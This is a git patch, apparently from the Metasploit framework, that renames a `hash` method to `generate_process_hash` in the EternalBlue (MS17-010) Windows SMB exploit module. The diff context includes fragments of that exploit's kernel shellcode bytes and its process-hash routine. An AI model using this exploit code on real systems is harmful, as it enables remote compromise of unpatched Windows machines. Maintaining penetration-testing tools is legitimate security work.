From dd57b27652c877743e7b9d6d277b0f99a87b7234 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 5 Nov 2018 17:16:16 -0600 Subject: [PATCH] Rename `hash` to `generate_process_hash` In the interest of compatibility this uses a more descriptive name for the process hash creation method instead of overriding ruby's hash method. See https://docs.ruby-lang.org/en/2.0.0/Hash.html --- modules/exploits/windows/smb/ms17_010_eternalblue.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 5a8c900060..88f8343b2a 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -591,7 +591,7 @@ class MetasploitModule < Msf::Exploit::Remote sc end - def hash(process) + def generate_process_hash(process) # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm proc_hash = 0 process << "\x00" @@ -638,7 +638,7 @@ class MetasploitModule < Msf::Exploit::Remote "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" + "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" + "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" + - "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + hash(proc_name.upcase) + "\x75\xBC\x49" + + "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + generate_process_hash(proc_name.upcase) + "\x75\xBC\x49" + "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" + "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" + "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +